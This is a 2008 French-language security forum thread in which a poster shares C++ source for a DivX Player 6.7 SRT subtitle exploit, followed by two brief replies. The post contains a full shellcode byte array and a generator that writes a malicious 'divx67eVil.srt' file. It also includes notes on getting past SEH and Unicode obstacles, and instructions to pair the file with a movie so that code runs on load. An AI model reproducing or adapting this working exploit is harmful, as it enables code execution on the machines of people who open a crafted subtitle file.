Exploit DIVX 6.7

Moderator: Mod

Exploit DIVX 6.7

Postby syrus » Fri May 09, 2008 3:42 pm

// Exploit.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
/***********************************************************************
DivX Player <=6.7 srt subtitle parsing exploit

// http://faille.c.la

Credit to securfrog for his PoC

Actually this exploit is not relevant to DivX 6.6.0 exploit already posted in milw0rm,since the
technique is quite different and that exploit is no use for DivX 6.7
One of the biggest problem is shellcode being converted to unicode (so it has unwanted null byte )
also the return address,or seh handler has the null byte too
Another quite touch problem is address of SEH structure(at FS:[0]) is rewritten at the end of the routine
(with some address stored in the stack which already overwritten) so that
ollydbg will have no chance to catch any exception before the program terminated by the system
I've tried srt with ANSI code page with no success(just crash),Unicode is either,DivX does not even recognize
Unicode subtitle either.The last resort is UTF8,all payload,addresses is encoded in UTF8 format,so DivX will convert to unicode
at runtine,hence.To modified this exploit,u have to convert to unicode format,fix the address and convert back to UTF8

To exploit this,rename output file with the same name of the movie and load it in DivX Player.
and the Calculator will be opened

***********************************************************************/

[code:1:ff6016affc]unsigned char Header[38] =
{
0xEF, 0xBB, 0xBF, 0x31, 0x20, 0x0D, 0x0A, 0x30, 0x30, 0x3A, 0x30, 0x30, 0x3A, 0x30, 0x31, 0x2C,
0x30, 0x30, 0x31, 0x20, 0x2D, 0x2D, 0x3E, 0x20, 0x30, 0x30, 0x3A, 0x30, 0x30, 0x3A, 0x30, 0x32,
0x2C, 0x30, 0x30, 0x31, 0x0D, 0x0A,
} ;
unsigned char ShellCode[319] =
{
0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86,
0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90,
0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9,
0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB,
0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1,
0x40, 0xEC, 0xB3, 0x9A, 0xE7, 0x82, 0xBA, 0xE1, 0x88, 0xA3, 0xE2, 0xAD, 0xBC, 0xEB, 0x87, 0x89,
0xED, 0xA4, 0xA3, 0xE2, 0x91, 0xB4, 0xE5, 0xBF, 0xB4, 0xE5, 0x9C, 0xB1, 0xCC, 0x97, 0xE1, 0x9D,
0x97, 0xEB, 0x9E, 0x83, 0xEF, 0x80, 0xA7, 0xEC, 0xAE, 0x89, 0xEB, 0x83, 0x80, 0xE3, 0x8D, 0xB1,
0xEB, 0x88, 0x91, 0xE0, 0xBC, 0xB7, 0xEB, 0xA2, 0x9A, 0xE1, 0x9E, 0xB2, 0xEA, 0xBE, 0x9D, 0xEA,
0xA0, 0xB6, 0xEA, 0x92, 0x85, 0xE1, 0x98, 0x96, 0xE5, 0x86, 0xB7, 0xED, 0xB7, 0xA1, 0xE2, 0xBA,
0x83, 0xE0, 0xBF, 0xB3, 0xEF, 0x83, 0x9A, 0xE6, 0x8D, 0xAD, 0xE3, 0x86, 0x99, 0xE7, 0xB3, 0xB9,
0xE7, 0xAD, 0xA3, 0xE8, 0x8C, 0x8F, 0xE9, 0x9E, 0xA1, 0xEB, 0xA3, 0xA4, 0xE4, 0xB1, 0xB1, 0xEC,
0xAC, 0x81, 0xDE, 0x9C, 0xE1, 0x9D, 0x96, 0xEF, 0x8D, 0x9E, 0xED, 0xB0, 0x8F, 0xE4, 0xA1, 0xAC,
0xEB, 0xB5, 0x9B, 0xE4, 0xBD, 0xB0, 0xEC, 0xAA, 0xB0, 0xEC, 0x92, 0x95, 0xE2, 0x9D, 0x87, 0xE8,
0x98, 0xAC, 0xEB, 0x8D, 0xA3, 0xDB, 0xAC, 0xED, 0xBE, 0xAC, 0xE2, 0xA1, 0xB9, 0xE9, 0xA8, 0x9C,
0xED, 0x86, 0xBE, 0xE2, 0xBD, 0x90, 0xE2, 0xB9, 0xBE, 0xE5, 0xBF, 0xA2, 0xE8, 0x8D, 0xA3, 0xEF,
0x9D, 0xBF, 0xE3, 0x82, 0x93, 0xE8, 0xB1, 0xB6, 0xE7, 0x98, 0xA4, 0xE9, 0x8A, 0x89, 0xEF, 0xB0,
0xA4, 0xEA, 0xBB, 0xA2, 0xE3, 0x8D, 0xBB, 0xEA, 0xB8, 0x85, 0xEB, 0xAB, 0x95, 0xEA, 0xB4, 0x91,
0xEC, 0x9C, 0x9A, 0xED, 0xA6, 0xB1, 0xEE, 0x83, 0xA4, 0xE6, 0xAB, 0x90, 0xE8, 0xA5, 0xB1, 0xDB,
0xAB, 0xEF, 0xBA, 0x8F, 0xEF, 0x87, 0xAC, 0xE6, 0x87, 0xB3, 0xE9, 0xB9, 0xBF, 0xC3, 0xB3,
} ;

int _tmain(int argc, _TCHAR* argv[])
{
FILE * file;
char c='A';
file=fopen("divx67eVil.srt","w+b");
if (file==NULL)
{
printf("File I/O error");
return 0;
}
fwrite(Header,1,sizeof(Header),file);
for (int i=0;i<0x402;i++) fwrite(&c,1,1,file);
fwrite(ShellCode,1,sizeof(ShellCode),file);
for (int i=0;i<4096000;i++) fwrite(&c,1,1,file);
fclose(file);
printf("Done...eVil is in divx67eVil.srt");
printf("Load it in DivX Player 6.7 with some movie en enjoy");
return 0;
}[/code:1:ff6016affc]
Last edited by syrus on Wed May 14, 2008 11:31 pm, edited 1 time in total.
syrus
Projets
 
Posts: 7
Joined: Fri May 09, 2008 3:41 pm

Postby Itachi018 » Fri May 09, 2008 8:41 pm

Pub powaaa ? :lol:
User avatar
Itachi018
Projets
 
Posts: 225
Joined: Fri Feb 08, 2008 7:05 pm

Postby Ness » Sat May 10, 2008 2:03 am

ton site ne vivras que peu de temps pour la simple et bonne raison qu'il existe deja des repository beaucoup plus consequent et mis a jours plusieurs fois par jours tel que securityfocus bugtraq and co .. k-otik

enfin good luck pour ton projet ...
User avatar
Ness
Projets
 
Posts: 61
Joined: Sun Apr 27, 2008 12:44 am


Return to Sécurité Intrusion

Who is online

Users browsing this forum: No registered users and 3 guests

cron